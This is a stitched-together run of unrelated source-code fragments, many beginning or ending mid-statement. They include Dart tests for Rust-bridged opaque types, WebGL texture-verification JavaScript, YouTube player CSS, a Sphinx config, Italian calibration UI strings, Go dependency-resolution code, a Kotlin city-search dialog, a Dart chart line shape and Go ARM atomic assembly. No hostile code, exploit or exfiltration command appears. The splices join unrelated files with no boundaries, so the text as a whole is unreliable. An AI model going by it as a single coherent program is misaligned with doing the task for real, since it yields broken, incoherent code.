        rustAutoOpaqueStructWithGoodAndOpaqueFieldArgOwnTwinSseMoi(arg: obj));
  });

  test('enums with both encodable and opaque', () async {
    final good =
        (await rustAutoOpaqueEnumWithGoodAndOpaqueReturnOwnGoodTwinSseMoi());
    final opaque =
        (await rustAutoOpaqueEnumWithGoodAndOpaqueReturnOwnOpaqueTwinSseMoi());

    await futurizeVoidTwinSseMoi(
        rustAutoOpaqueEnumWithGoodAndOpaqueArgOwnTwinSseMoi(arg: good));
    await futurizeVoidTwinSseMoi(
        rustAutoOpaqueEnumWithGoodAndOpaqueArgOwnTwinSseMoi(arg: opaque));

    await futurizeVoidTwinSseMoi(
        rustAutoOpaqueEnumWithGoodAndOpaqueArgOwnTwinSseMoi(
            arg: EnumWithGoodAndOpaqueTwinSseMoi.good('hello')));
  });

  test('enum opaque type', () async {
    final obj = await rustAutoOpaqueEnumReturnOwnTwinSseMoi();
    await futurizeVoidTwinSseMoi(
        rustAutoOpaqueEnumArgBorrowTwinSseMoi(arg: obj));
  });

  test('stream sink', () async {
    final stream = rustAutoOpaqueStreamSinkTwinSseMoi();
    final obj


(triR[triNdx], triW[triNdx], wxo, dstW, nyo)];
                    var coordDyo = [glsTextureTestUtil.triDerivateY(triS[triNdx], triW[triNdx], wyo, dstH, nxo),
                                    glsTextureTestUtil.triDerivateY(triT[triNdx], triW[triNdx], wyo, dstH, nxo),
                                    glsTextureTestUtil.triDerivateY(triR[triNdx], triW[triNdx], wyo, dstH, nxo)];
                    var lodO = tcuTexLookupVerifier.computeCubeLodBoundsFromDerivates(coordO, coordDxo, coordDyo, srcSize, lodPrec);

                    lodBounds[0] = Math.min(lodBounds[0], lodO[0]);
                    lodBounds[1] = Math.max(lodBounds[1], lodO[1]);
                }

                var clampedLod = tcuTexLookupVerifier.clampLodBounds(deMath.add(lodBounds, lodBias), [sampleParams.minLod, sampleParams.maxLod], lodPrec);
                var isOk = tcuTexCompareVerifier.isTexCompareResultValidCube(src, sampleParams.sampler, comparePrec, coord, clampedLod, sampleParams.ref, resPix[0]);

                if (!isOk) {
                    red = [255, 0, 0, 255];
                    errorMask.setPixel(red, px, py);
                    numFailed += 1;
                }
            }
        }
    }

    return numFailed;
};

/**
 * @param {Array<number>} s
 * @param {Array<number>} w
 * @param {number} nx
 * @param {number} ny
 * @return {number}
 */
glsTextureTestUtil.projectedTriInterpolate = function(s, w, nx, ny) {
    return (s[0] * (1.0 - nx - ny) / w[0] + s[1] * ny / w[1] + s[2] * nx / w[2]) / ((1.0 - nx - ny) / w[0] + ny / w[1] + nx / w[2]);
};

/**
 * @param {tcuTexture.ConstPixelBufferAccess} result
 * @param {tcuTexture.ConstPixelBufferAccess} reference
 * @param {tcuTexture.PixelBufferAccess} errorMask
 * @param {tcuTexture.Texture2DView} baseView
 * @param {Array<number>} texCoord
 * @param {glsTextureTestUtil.ReferenceParams} sampleParams
 * @param {tcuTexLookupVerifier.LookupPrecision} lookupPrec
 * @param {tcuTexLookupVerifier.LodPrecision} lodPrec
 * @param {*=} watchDog - TODO: ??
 * @return {number}
 */
glsTextureTestUtil.computeTextureLookupDiff2D = function(result, reference, errorMask, baseView, texCoord, sampleParams, lookupPrec, lodPrec, watchDog) {
    DE_ASSERT(result.getWidth() == reference.getWidth() && result.getHeight() == reference.getHeight());
    DE_ASSERT(result.getWidth() == errorMask.getWidth() && result.getHeight() == errorMask.getHeight());

    /** @type {tcuTexture.Texture2DView} */ var src = baseView.getSubView(sampleParams.baseLevel, sampleParams.maxLevel);

    /** @type {Array<number>} */ var sq = [texCoord[0 + 0], texCoord[2 + 0], texCoord[4 + 0], texCoord[6 + 0]];
    /** @type {Array<number>} */ var tq = [texCoord[0 + 1], texCoord[2 + 1], texCoord[4 + 1], texCoord[6 + 1]];

    /** @type {Array<number>} */ var dstSize = [result.getWidth(), result.getHeight()];
    /** @type {number} */ var dstW = dstSize[0];
    /** @type {number} */ var dstH = dstSize[1];
    /** @type {Arr


    -webkit-box-orient: horizontal;
    -webkit-box-direction: normal;
    flex-direction: row;
    -webkit-align-items: stretch;
    -webkit-box-align: stretch;
    align-items: stretch;
    overflow: hidden;
    padding: 8px
}

.ytp-featured-product-container>.ytp-suggested-action-badge-dismiss-button-icon {
    background: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHZpZXdCb3g9IjAgMCAyNCAyNCI+PHBhdGggZD0iTTE5IDYuNDFMMTcuNTkgNSAxMiAxMC41OSA2LjQxIDUgNSA2LjQxIDEwLjU5IDEyIDUgMTcuNTkgNi40MSAxOSAxMiAxMy40MSAxNy41OSAxOSAxOSAxNy41OSAxMy40MSAxMnoiIGZpbGw9IiNmZmYiIC8+PC9zdmc+);
    opacity: .8;
    height: 18px;
    width: 18px;
    aspect-ratio: 1
}

.ytp-featured-product-thumbnail {
    position: relative;
    border-radius: 8px;
    background: #fff;
    height: 64px;
    width: 64px;
    min-width: 64px;
    overflow: hidden
}

.ytp-featured-product-thumbnail>img {
    width: inherit;
    height: inherit;
    -o-object-fit: contain;
    object-fit: contain
}

.ytp-featured-product-open-in-new {
    position: absolute;
    bottom: 4px;
    right: 4px;
    border-radius: 2px;
    background-color: rgba(0,0,0,.8);
    background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHZpZXdCb3g9IjAgMCA0OCA0OCIgdmVyc2lvbj0iMS4xIiBmaWxsPSIjZmZmIj48cGF0aCBkPSJNMCAwaDQ4djQ4SDB6IiBmaWxsPSJub25lIiAvPjxwYXRoIGQ9Ik0zOCAzOEgxMFYxMGgxNFY2SDEwYy0yLjIxIDAtNCAxLjc5LTQgNHYyOGMwIDIuMjEgMS43OSA0IDQgNGgyOGMyLjIxIDAgNC0xLjc5IDQtNFYyNGgtNHYxNHpNMjggNnY0aDcuMTdMMTUuNTEgMjkuNjZsMi44MyAyLjgzTDM4IDEyLjgzVjIwaDRWNkgyOHoiIC8+PC9zdmc+);
    width: 12px;
    height: 12px;
    overflow: hidden
}

.ytp-featured-product-details {
    display: -moz-flexbox;
    display: -webkit-flex;
    display: -webkit-box;
    display: flex;
    -webkit-flex-direction: column;
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    flex-direction: column;
    -moz-justify-content: space-around;
    -webkit-justify-content: space-around;
    justify-content: space-around;
    font-size: 12px;
    max-width: 186px;
    padding: 0 8px;
    overflow: hidden
}

.ytp-featured-product-details>.ytp-featured-product-title {
    overflow: hidden;
    white-space: nowrap;


# Configuration file for the Sphinx documentation builder.
#
# For the full list of built-in configuration values, see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html

# -- Project information -----------------------------------------------------
# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information

import os
import os.path
import sys
import datetime
from pathlib import Path

HPM_ZSG_BASE = Path(__file__).resolve().parents[3]
project = 'HPMicro Supplemental Development Kit'
copyright = '2024-%s, HPMicro' % datetime.date.today().year
author = 'HPMicro Software Team'
sys.path.insert(0, str(HPM_ZSG_BASE / "docs" / "_ext"))

# -- General configuration ---------------------------------------------------
# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration

extensions = [
    'sphinx_rtd_theme',
    "external_content",
    'myst_parser',
]

templates_path = ['_templates']
exclude_patterns = []

language = 'en'
html_show_sphinx = False

# -- Options for HTML output -------------------------------------------------
# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output

html_theme = 'sphinx_rtd_theme'
# html_static_path = ['_static']

source_suffix = {
    '.rst': 'restructuredtext',
    '.md': 'markdown',
}

external_content_contents = [
    (HPM_ZSG_BASE, "CHANGELOG.md"),
    (HPM_ZSG_BASE, "samples/**/*_en.rst",),
    (HPM_ZSG_BASE, "snippets/**/*_en.rst",),
    (HPM_ZSG_BASE / "docs/source/en", "[!_]*"),
]


<input id="bio" type="text"></input>

Voltar

Próximo

                {% comment %} nao precisa ser um input {% endcomment %}

Visibilidade do perfil

Deseja que seu perfil seja:

 Privado

 Público

              <input type="hidden" id="perfil_visibilidade" name="perfil_visibilidade">

Voltar

Enviar

                {% comment %} nao precisa ser um input {% endcomment %}

      </form>


  return parseInt(this.extractData(offset, 4), 16);
  }

  public extractUint40(offset: number) {
    return parseInt(this.extractData(offset, 5), 16);
  }

  public extractUint48(offset: number) {
    return parseInt(this.extractData(offset, 6), 16);
  }

  public extractUint56(offset: number) {
    return new BN(this.extractData(offset, 7), 16);
  }

  public extractUint64(offset: number) {
    return new BN(this.extractData(offset, 8), 16);
  }

  public extractUint(offset: number) {
    return new BN(this.extractData(offset, 32), 16);
  }

  public extractAddress(offset: number) {
    return "0x" + this.extractData(offset, 20);
  }

  public extractBytes1(offset: number) {
    return this.extractBytesX(offset, 1);
  }

  public extractBytes32(offset: number) {
    return this.extractBytesX(offset, 32);
  }

  public extractBytesX(offset: number, length: number) {
    return new Buffer(this.extractData(offset, length), "hex");
  }

  public extractChar(offset: number) {
    return this.extractData(offset, 1);
  }

  public extractData(offset: number, length: number) {
    const start = offset * 2;
    const end = start + length * 2;
    if (this.data.length < end) {
      throw new Error(
        "substring index out of range:[" + start + ", " + end + "]"
      );
    }
    return this.data.slice(start, end);
  }

  // Returns the number of bytes of data
  public length() {
    return this.data.length / 2;
  }

  private insert(x: string) {
    const offset = this.length();
    this.data += x;
    return offset;
  }

  private padString(x: string, targetLength: number) {
    if (x.length > targetLength) {
      throw Error(
        "0x" +
          x +
          " is too big to fit in the requested length (" +
          targetLength +
          ")"
      );
    }
    while (x.length < targetLength) {
      x = "0" + x;
    }
    return x;
  }
}
export const expect = (actual) => {
  return {
    toBe: expected => {
      if (actual !== expected) {
        throw new Error(`Expected ${actual} to equal ${expected}`);
      }
    },
    toContain: expected => {
      if (actual.indexOf(expected) === -1) {
        throw new Error(`Expected ${actual} to contain ${expected}`);
      }
    }
  };
}
const threeSumClosest = (nums: number[], target: number): number => {
  // 遇到类似问题， 可以先考虑排序， 排序会提升效率
  nums = nums.sort((a, b) => a - b);

  // 一些不会改变的值， 用常量会比较容易
  const totalLength = nums.length;

  // 计算三个值的和
  let res = nums[0] + nums[1] + nums[totalLength - 1];

  // 暴力解法， 先在最外面包一层循环， 循环每一个元素
  // 因为left会比i多1， right最少会比left多1
  // 所以循环的截止条件是-2就可以了
  for (let i = 0; i !== totalLength - 2; i++) {
    let left = i + 1;
    let right = totalLength - 1;

    // 三个数的合

    // 循环条件
    while (left < right) {
      const sum = nums[i] + nums[left] + nums[right];

      // 三数之和与目标值差的绝对值比已经存在的更小， 那么就替换
      if (Math.abs(sum - target) < Math.abs(res - target)) {
        res = sum;
      }

      // 如果


ata orizzontale con etichetta faccia SU.",
  CaliCommonStep2 = "Metti la tua Rx stabilizzata orizzontale con etichetta faccia GIU.",
  CaliCommonStep3 = "Metti la tua Rx stabilizzata orizzontale con etichetta frontale a te, freccia punta verso SU.",
  CaliCommonStep4 = "Metti la tua Rx stabilizzata orizzontale con etichetta frontale a te, freccia punta verso GIU.",
  CaliCommonStep5 = "Metti la tua Rx stabilizzata orizzontale con etichetta frontale a te, freccia punta verso DESTRA.",
  CaliCommonStep6 = "Metti la tua Rx stabilizzata orizzontale con etichetta frontale a te, freccia punta verso SINISTRA.",

  PositionRX = "Metti la ricevente come nell'immagine",

  CaliFinished = "Calibrazione completata. Puoi uscire da questa pagina",

  CheckingGyroMode = "Controllo modo gyro ...",
  GyroModeDisabled = "ABILITA \"Gyro mode\" nella Configurazione Base",

  PreCaliLevelCali = "Calibrazione Livello",
  PreCaliStickCenter = "Calibrazione centro Stick",
  PreCaliStickRange = "Calibrazione escursione Stick",
  PreCaliLevelCheckLabel = "La Calibrazione orizzontale sta per iniziare.\nSi prega di mettere il modello in posizione livellata,\npremere OK per continuare.",
  PreCaliStickCenterLabel = "La Calibrazione del centro Stick sta per iniziare.\nSi prega di mettere gli stick nella posizione centrale,\npremere ok per continuare.",
  PreCaliStickRangeLabel =  "Calibrazione escursione Stick sta per iniziare.\nDopo aver premuto OK, si prega di muovere gli stick alla \nloro massima estensione in tutte le direzioni.",
  PreCaliStickRangeHint = "Si prega di muovere gli sticks nella loro massima escursione fino a fine calibrazione ...",
  PreCaliWaitHint = "Si prega di attendere fino a fine calibrazione ...\n",
  PreCaliFailed = "Calibrazione fallita!\nControllare lo stato di connesione!",

  ConfirmToBegin = "Si prega di confermare per iniziare",

  ConfirmReset = "Conferma reset",
  ResetLabel = "I settaggi stanno per essere resettati.\nSi prega di confermare per continuare.",
  Stabilizer = "Stabilizzatore",
  QuickMode = "Modo Veloce",
  WingType = "Tipo ala",
  Normal = "Normale",
  Delta = "Delta",
  VTail = "coda VTail",
  MountingType = "Tipo Montaggio",
  Horizontal = "Orizzontale",
  HorizontalRev = "Orizzontale rovesciato",
  Vertical = "Verticale",
  VerticalRev = "Verticale rovesciato",
  CHMode = "{{ CH }} modo",
  CHInvert = "{{ CH }} invertito",
  CHStabGain = "{{ CH }} stab gain",
  CHAutoLvlGain = "{{ CH }} auto lvl gain",
  CHHoverGain = "{{ CH }} hover gain",
  CHKnifeGain = "{{ CH }} knife gain",
  CHAutoLvlOffset = "{{ CH }} auto lvl offset",
  CHHoverOffset = "{{ CH }} hover offset",
  CHKnifeOffset = "{{ CH }} knife offset",
  RollDegree = "Gradi Roll",
  PitchDegree = "Gradi Pitch",
  CHStickPriority = "{{ CH }} priorità stick",
  CHRevStickPriority = "{{ CH }} inv. priorità stick"
}


ockedUsers'] ?? useBuiltInBlockedUsers.value;
  }

  @override
  String toConfigString() {
    return jsonEncode({
      'locale': locale.value.toString(),
      'showR18GImageDirectly': showR18GImageDirectly.value,
      'enableTagZHTranslation': enableTagZHTranslation.value,
      'enableTagZHSearchOrderOptimization': enableTagZHSearchOrderOptimization.value,
      'defaultTab': defaultTab.value.index,
      'preloadGalleryCover': preloadGalleryCover.value,
      'enableSwipeBackGesture': enableSwipeBackGesture.value,
      'enableLeftMenuDrawerGesture': enableLeftMenuDrawerGesture.value,
      'enableQuickSearchDrawerGesture': enableQuickSearchDrawerGesture.value,
      'drawerGestureEdgeWidth': drawerGestureEdgeWidth.value,
      'simpleDashboardMode': simpleDashboardMode.value,
      'hideBottomBar': hideBottomBar.value,
      'hideScroll2TopButton': hideScroll2TopButton.value.index,
      'showAllGalleryTitles': showAllGalleryTitles.value,
      'showGalleryTagVoteStatus': showGalleryTagVoteStatus.value,
      'showComments': showComments.value,
      'showAllComments': showAllComments.value,
      'tagSearchConfig': searchBehaviour.value.index,
      'enableDefaultFavorite': enableDefaultFavorite.value,
      'enableDefaultTagSet': enableDefaultTagSet.value,
      'launchInFullScreen': launchInFullScreen.value,
      'showUtcTime': showUtcTime.value,
      'showDawnInfo': showDawnInfo.value,
      'showHVInfo': showHVInfo.value,
      'useBuiltInBlockedUsers': useBuiltInBlockedUsers.value,
    });
  }

  @override
  Future<void> doInitBean() async {}

  @override
  void doAfterBeanReady() {}

  Future<void> saveLanguage(Locale locale) async {
    log.debug('saveLanguage:$locale');
    this.locale.value = locale;
    await saveBeanConfig();
    Get.updateLocale(locale);
  }

  Future<void> saveDefaultTab(TabBarIconNameEnum defaultTab) async {
    log.debug('saveDefaultTab:$defaultTab');
    this.defaultTab.value = defaultTab;
    await saveBeanConfig();
  }

  Future<void> saveEnableTagZHTranslation(bool enableTagZHTranslation) async {
    log.debug('saveEnableTagZHTranslation:$enableTagZHTranslation');
    this.enableTagZHTranslation.value = enableTagZHTranslation;
    await saveBeanConfig();
  }

  Future<void> saveEnableTagZHSearchOrderOptimization(bool enableTagZHSearchOrderOptimization) async {
    log.debug('saveEnableTagZHSearchOrderOptimization:$enableTagZHSearchOrderOptimization');
    this.enableTagZHSearchOrderOptimization.value = enableTagZHSearchOrderOptimization;
    await saveBeanConfig();
  }

  Future<void> saveSimpleDashboardMode(bool simpleDashboardMode) async {
    log.debug('saveSimpleDashboardMode:$simpleDashboardMode');
    this.simpleDashboardMode.value = simpleDashboardMode;
    await saveBeanConfig();
  }

  Future<void> saveHideBottomBar(bool hideBottomBar) async {
    log.debug('saveHideBottomBar:$hideBottomBar');
    this.hideBottomBar.value = hideBottomBar;
    await saveBeanConfig();
  }

  Future<void> savePreloadGalleryCover(bool preloadGalleryCover) async {
    log.debug('savePreloadGalleryCover:$preloadGalleryCover');
    this.preloadGalleryCover.value = preloadGalleryCover;
    await saveBeanConfig();
  }

  Future<void> saveEnableSwipeBackGesture(bool enableSwipeBackGesture) async {
    log.debug('saveEnableSwipeBackGesture:$enableSw


namespace Structure.Sketching.Formats.Png.Format.Filters.Interfaces
{
    /// <summary>
    /// Scan line filter interface for scan
    /// </summary>
    public interface IScanFilter
    {
        /// <summary>
        /// Decodes the specified scanline.
        /// </summary>
        /// <param name="scanline">The scanline.</param>
        /// <param name="previousScanline">The previous scanline.</param>
        /// <param name="scanlineStep">The scanline step.</param>
        /// <returns>The resulting byte array</


Keys = append(depManagementKeys, dependencyKeys...)
		depManagementImports = append(depImports, depManagementImports...)
	}

	// There were dependencies and dependency management.
	p.Dependencies = []Dependency{}
	p.DependencyManagement.Dependencies = []Dependency{}
	for _, dk := range depKeys {
		dep := deps[dk]
		// Copy dependency info from dependency management if available.
		//  - Version: only copy when the field is empty;
		//  - Scope: only copy when the field is empty;
		//  - Exclusions: only copy when the field is empty;
		//  - Optional: dep always takes precedence.
		if dm, ok := depManagement[dk]; ok {
			if dep.Version == "" {
				dep.Version = dm.Version
			}
			if dep.Scope == "" {
				dep.Scope = dm.Scope
			}
			if len(dep.Exclusions) == 0 {
				dep.Exclusions = dm.Exclusions
			}
		}
		p.Dependencies = append(p.Dependencies, dep)
	}
	for _, dk := range depManagementKeys {
		dm := depManagement[dk]
		p.DependencyManagement.Dependencies = append(p.DependencyManagement.Dependencies, dm)
	}
}
// Copyright 2024 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package resolve

import (
	"context"
	"testing"

	"github.com/google/go-cmp/cmp"

	pb "deps.dev/api/v3"
	"deps.dev/util/resolve/internal/deptest"
)

func TestNPMDependencies(t *testing.T) {
	ctx := context.Background()
	vk := func(name, version string) VersionKey {
		return VersionKey{
			PackageKey: PackageKey{
				System: NPM,
				Name:   name,
			},
			VersionType: Concrete,
			Version:     version,
		}
	}
	req := func(name, version, typ string) RequirementVersion {
		dt, err := deptest.ParseString(typ)
		if err != nil {
			t.Fatal(err)
		}
		return RequirementVersion{
			VersionKey: VersionKey{
				PackageKey: PackageKey{
					System: NPM,
					Name:   name,
				},
				VersionType: Requirement,
				Version:     version,
			},
			Type: dt,
		}
	}

	root := vk("test", "1.0.0")
	for _, c := range []struct {
		in  *pb.Requirements_NPM
		out map[VersionKey][]RequirementVersion
	}{{
		in:  &pb.Requirements_NPM{},
		out: nil,
	}, {
		in: &pb.Requirements_NPM{
			Dependencies: &pb.Requirements_NPM_Dependencies{
				Dependencies: []*pb.Requirements_NPM_Dependencies_Dependency{{
					Name:        "regular",
					Requirement: "^9.9.0",
				}},
				DevDependencies: []*pb.Requirements_NPM_Dependencies_Dependency{{
					Name:        "dev",
					Requirement: "^9.9.1",
				}},
				OptionalDependencies: []*pb.Requirements_NPM_Dependencies_Dependency{{
					Name:        "opt",
					Requirement: "^9.9.2",
				}},
				PeerDependencies: []*pb.Requirements_NPM_Dependencies_Dependency{{
					Name:        "peer",
					Requirement: "^9.9.3",
				}},
			},
		},
		out: map[VersionKey][]RequirementVersion{
			root: {
				req("opt", "^


            android:theme="@style/AppTheme.NoActionBar">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>
  '''
      .trim();
}
// ignore_for_file: public_member_api_docs

import 'dart:io';

import 'package:args/args.dart';
import 'package:flutter_launcher_icons/abs/icon_generator.dart';
import 'package:flutter_launcher_icons/android.dart' as android_launcher_icons;
import 'package:flutter_launcher_icons/config/config.dart';
import 'package:flutter_launcher_icons/constants.dart' as constants;
import 'package:flutter_launcher_icons/constants.dart';
import 'package:flutter_launcher_icons/custom_exceptions.dart';
import 'package:flutter_launcher_icons/ios.dart' as ios_launcher_icons;
import 'package:flutter_launcher_icons/logger.dart';
import 'package:flutter_launcher_icons/macos/macos_icon_generator.dart';
import 'package:flutter_launcher_icons/web/web_icon_generator.dart';
import 'package:flutter_launcher_icons/windows/windows_icon_generator.dart';
import 'package:path/path.dart' as path;

const String fileOption = 'file';
const String helpFlag = 'help';
const String verboseFlag = 'verbose';
const String prefixOption = 'prefix';
const String defaultConfigFile = 'flutter_launcher_icons.yaml';
const String flavorConfigFilePattern = r'^flutter_launcher_icons-(.*).yaml$';

Future<List<String>> getFlavors() async {
  final List<String> flavors = [];
  await for (var item in Directory('.').list()) {
    if (item is File) {
      final name = path.basename(item.path);
      final match = RegExp(flavorConfigFilePattern).firstMatch(name);
      if (match != null) {
        flavors.add(match.group(1)!);
      }
    }
  }
  return flavors;
}

Future<void> createIconsFromArguments(List<String> arguments) async {
  final ArgParser parser = ArgParser(allowTrailingOptions: true);
  parser
    ..addFlag(helpFlag, abbr: 'h', help: 'Usage help', negatable: false)
    // Make default null to differentiate when it is explicitly set
    ..addOption(
      fileOption,
      abbr: 'f',
      help: 'Path to config file',
      defaultsTo: defaultConfigFile,
    )
    ..addFlag(verboseFlag, abbr: 'v', help: 'Verbose output', defaultsTo: false)
    ..addOption(
      prefixOption,
      abbr: 'p',
      help: 'Generates config in the given path. Only Supports web platform',
      defaultsTo: '.',
    );

  final ArgResults argResults = parser.parse(arguments);
  // creating logger based on -v flag
  final logger = FLILogger(argResults[verboseFlag]);

  logger.verbose('Received args ${argResults.arguments}');

  if (argResults[helpFlag]) {
    stdout.writeln('Generates icons for iOS and Android');
    stdout.writeln(parser.usage);
    exit(0);
  }

  // Flavors management
  final flavors = await getFlavors();
  final hasFlavors = flavors.isNotEmpty;

  final String prefixPath = argResults[prefixOption];

  // Create icons
  if (!hasFlavors) {
    // Load configs from given file(defaults to ./flutter_launcher_icons.yaml) or from ./pubspec.yaml

    final flutterLauncherIconsConfigs =
        loadConfigFileFromArgResults(argResults);
    if (flutterLauncherIconsConfig


homeTvSearchCityCancel.setOnClick {
            homeSearchCityEt.setText("")
            homeSearchCityEt.clearFocus()
            homeTvSearchCityCancel.visibility = View.GONE
            rvCity.visibility = View.VISIBLE
            rvSearchCity.visibility = View.GONE
        }

        homeSearchCityEt.setOnFocusChangeListener { _, hasFocus ->
            if (hasFocus) {
                homeTvSearchCityCancel.visibility = View.VISIBLE
                rvCity.visibility = View.GONE
                rvSearchCity.visibility = View.VISIBLE
            }

            mSearchCityAdpter.run {
                //Item点击事件
                setSafeOnItemClickListener { adapter, view, position ->

                    val parts = items.get(position).split(",").map { it.trim() }
                    val size = parts.size
                    var chooseCity: CityBean
                    if (size == 2) {
                        chooseCity = CityBean(0, parts[1], parts[0], parts[1])
                    } else {
                        chooseCity = CityBean(0, parts[1], parts[0], parts[2])
                    }
                    mViewModel.deleteCityByCityArea(chooseCity.province, chooseCity.city, chooseCity.area).observe(requireActivity(), { data ->

                        listener?.let {
                            mViewModel.insertCityData(chooseCity).observe(requireActivity(),{data->
                            it.onChooseCity(chooseCity)
                            dismiss()
                            })
                        }

                    })

                }
            }
        }

        homeSearchCityEt.addTextChangedListener(object : TextWatcher {
            override fun beforeTextChanged(s: CharSequence?, start: Int, count: Int, after: Int) {}

            override fun onTextChanged(s: CharSequence?, start: Int, before: Int, count: Int) {
                searchJob?.cancel()
            }

            override fun afterTextChanged(s: Editable?) {
                searchJob = CoroutineScope(Dispatchers.Main).launch {
                    delay(1000)
                    getSerachCityByKey()
                }
            }
        })
        initHeadData()

    }

    override fun onIndexChanged(index: String, position: Int) {
        mCityListAdapter.scrollToSection(index)
    }

    override fun click(position: Int, data: CityBean) {
        listener?.let {
            it.onChooseCity(data)
            dismiss()
        }
    }

    private fun initCityGroupHeaderView() {
        if (mBinding.rvCity.headerCount == 0) {
            if (!::mHomeCityGroupHeadBinding.isInitialized) {
                mHomeCityGroupHeadBinding =
                    HomeCityGroupHeadBinding.inflate(LayoutInflater.from(requireActivity()))
                mBinding.rvCity.addHeaderView(mHomeCityGroupHeadBinding.root)
            }
        }

        mHomeCityGroupHeadBinding.ivCityDelete.setOnClick {
            mViewModel.deleteAllSearchCitys().observe(requireActivity(), { data ->
                mHomeCityGroupHeadBinding.localCityChipGroup.removeAllViews()
                mBinding.rvCity.removeHeaderView(mHomeCityGroupHeadBinding.root)
                mCityListAdapter.setLocalData(false)
                val decorationDatas = mCityNormalSectionItemDecoration.getData()
                decorationDatas.removeAt(0)
                mCityNormalSectionItemDecoration.setData(decorationDatas)
                mBinding.rvCity.invalidateItemDecorations()
            })
        }

    }

    /**
     *
     * 初始化头部数据
     */
    private fun initHeadData() {
        mViewModel.queryLocalSearchCitys().observe(this, { data ->


Size => 2;
}

/// A basic line shape.
class BasicLineShape extends LineShape {
  /// Creates a basic line shape.
  BasicLineShape({
    this.smooth = false,
    this.loop = false,
    this.stepped = false,
    this.dash,
  });

  /// Whether this line is smooth.
  final bool smooth;

  /// Whether to connect the last point to the first point.
  ///
  /// It is usefull in the polar coordinate.
  final bool loop;

  /// Whether this line is stepped.
  final bool stepped;

  /// The circular array of dash offsets and lengths.
  ///
  /// For example, the array `[5, 10]` would result in dashes 5 pixels long
  /// followed by blank spaces 10 pixels long.  The array `[5, 10, 5]` would
  /// result in a 5 pixel dash, a 10 pixel gap, a 5 pixel dash, a 5 pixel gap,
  /// a 10 pixel dash, etc.
  final List<double>? dash;

  @override
  bool equalTo(Object other) =>
      other is BasicLineShape &&
      smooth == other.smooth &&
      loop == other.loop &&
      stepped == other.stepped &&
      deepCollectionEquals(dash, other.dash);

  @override
  List<MarkElement> drawGroupPrimitives(
    List<Attributes> group,
    CoordConv coord,
    Offset origin,
  ) {
    assert(!(coord is PolarCoordConv && coord.transposed));

    final contours = <List<Offset>>[];

    var currentContour = <Offset>[];
    for (var item in group) {
      assert(item.shape is BasicLineShape);

      if (item.position.last.dy.isFinite) {
        final point = coord.convert(item.position.last);
        currentContour.add(point);
      } else if (currentContour.isNotEmpty) {
        contours.add(currentContour);
        currentContour = [];
      }
    }
    if (currentContour.isNotEmpty) {
      contours.add(currentContour);
    }

    if (loop &&
        group.first.position.last.dy.isFinite &&
        group.last.position.last.dy.isFinite) {
      // Because lines may be broken by NaN, don't loop by Path.close.
      contours.last.add(contours.first.first);
    }

    final primitives = <MarkElement>[];

    final represent = group.first;
    final strokeWidth = represent.size ?? defaultSize;
    final style =
        getPaintStyle(represent, true, strokeWidth, coord.region, dash);

    for (var contour in contours) {
      if (contour.length == 1) {
        primitives.add(CircleElement(
            center: contour[0],
            radius: strokeWidth / 2,
            style: style));
      } else if (smooth) {
        primitives.add(SplineElement(
            start: contour.first,
            cubics: getCubicControls(contour, false, true),
            style: style));
      } else {
        primitives.add(PolylineElement(
            points: stepped ? getSteppedPoints(contour) : contour,
            style: style));
      }
    }

    return primitives;
  }

  @override
  List<MarkElement> drawGroupLabels(
          List<Attributes> group, CoordConv coord, Offset origin) =>
      drawLineLabels(group, coord, origin);
}
import 'dart:ui';
import 'dart:math';

import 'package:vector_math/vector_math_64.dart';

// In the vector calculation of this library, the points are treated as Vector3,
// and transforming matirx are treated as Matrix4:
//
// m11  m21  m31  x
// m12  m22  m32  y
// m13  m23  m33  z
// 0    0    0    1

/// The zero vector.
final _zeroVector = Vector3.zero();

/// The identity matrix


// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

#include "textflag.h"

// Linux/ARM atomic operations.

// Because there is so much variation in ARM devices,
// the Linux kernel provides an appropriate compare-and-swap
// implementation at address 0xffff0fc0.  Caller sets:
//	R0 = old value
//	R1 = new value
//	R2 = addr
//	LR = return address
// The function returns with CS true if the swap happened.
// http://lxr.linux.no/linux+v2.6.37.2/arch/arm/kernel/entry-armv.S#L850
// On older kernels (before 2.6.24) the function can incorrectly
// report a conflict, so we have to double-check the compare ourselves
// and retry if necessary.
//
// https://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=b49c0f24cf6744a3f4fd09289fe7cade349dead5
//
TEXT cas<>(SB),NOSPLIT,$0
	MOVW	$0xffff0fc0, R15 // R15 is hardware PC.

TEXT runtime∕internal∕atomic·Cas(SB),NOSPLIT|NOFRAME,$0
	MOVB	runtime·goarm(SB), R11
	CMP	$7, R11
	BLT	2(PC)
	JMP	·armcas(SB)
	JMP	·kernelcas<>(SB)

TEXT runtime∕internal∕atomic·kernelcas<>(SB),NOSPLIT,$0
	MOVW	ptr+0(FP), R2
	// trigger potential paging fault here,
	// because we don't know how to traceback through __kuser_cmpxchg
	MOVW    (R2), R0
	MOVW	old+4(FP), R0
loop:
	MOVW	new+8(FP), R1
	BL	cas<>(SB)
	BCC	check
	MOVW	$1, R0
	MOVB	R0, ret+12(FP)
	RET
check:
	// Kernel lies; double-check.
	MOV